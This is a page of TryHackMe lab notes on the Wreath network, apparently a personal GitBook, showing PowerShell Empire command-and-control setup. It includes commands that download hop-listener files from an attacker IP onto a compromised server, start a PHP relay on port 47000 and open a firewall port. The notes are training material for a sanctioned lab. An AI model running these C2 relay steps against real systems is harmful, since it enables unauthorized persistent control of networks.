Try Hack Me
CtrlK
LinkedIn
  • Try Hack Me
    • Networks
      • Wreath
        • Recon
        • Enumeration
          • 80,443
          • 10000
        • Foothold [prod-serv]
        • Pivoting
          • 10.200.101.150 [git-serv]
            • Pivoting
            • Post Exploitation
            • C2
          • 10.200.101.100
            • Pivoting
            • Enumeration
            • Code Analysis
            • Exploit
            • Priv Esc
            • Exfil
    • Machines
      • Steel Mountain
        • Recon
          • nmap
        • Enumeration
          • 8080
          • 80
          • 445
          • enum4linux
        • Foothold
        • Enumeration
        • Priv Esc
      • Alfred
        • Recon
          • nmap
        • Enumeration
          • 80
          • 8080
        • Foothold
          • Enumeration
        • Priv Esc
        • usernames
      • Lazy Admin
        • Recon
          • nmap
        • Enumeration
          • 80, 443
          • 21
        • Foothold
          • Enumeration
        • Priv Esc
        • Notes
      • Anonymous
        • Recon
          • nmap
        • Enumeration
          • 21
          • 445
        • Foothold
          • Enumeration
        • Priv Esc
        • Notes
      • Tomghost
        • Recon
          • nmap
        • Enumeration
          • 8080
          • 21
        • Foothold
        • Priv Esc
        • Notes
      • ConvertMyVideo
        • Recon
          • nmap
        • Enumeration
          • 80, 443
          • 22
        • Foothold
        • Priv Esc
        • Notes
  • Template
    • Recon
      • nmap
    • Enumeration
      • 80, 443
      • 21
    • Foothold
    • Priv Esc
    • Notes
Powered by GitBook
On this page
  1. Try Hack Me
  2. Networks
  3. Wreath
  4. Pivoting
  5. 10.200.101.150 [git-serv]

C2

Spin up empire

sudo powershell-empire server 
sudo powershell-empire client

Set up a listener

Set up a hop listener

listener http_hop
set RedirectListener CLIHTTP
set Host 10.200.101.200               
set port 47000                         

On Attacker machine

cd /tmp/http_hop
sudo zip -r hop.zip *
python3 -m http.server 80

Transported jumpserver files to prod-serv

curl http://10.50.102.164/hop.zip -o hop.zip
unzip hop.zip
php -S 0.0.0.0:47000 &                
firewall-cmd --zone=public --add-port 47000/tcp
PreviousPost ExploitationNext10.200.101.100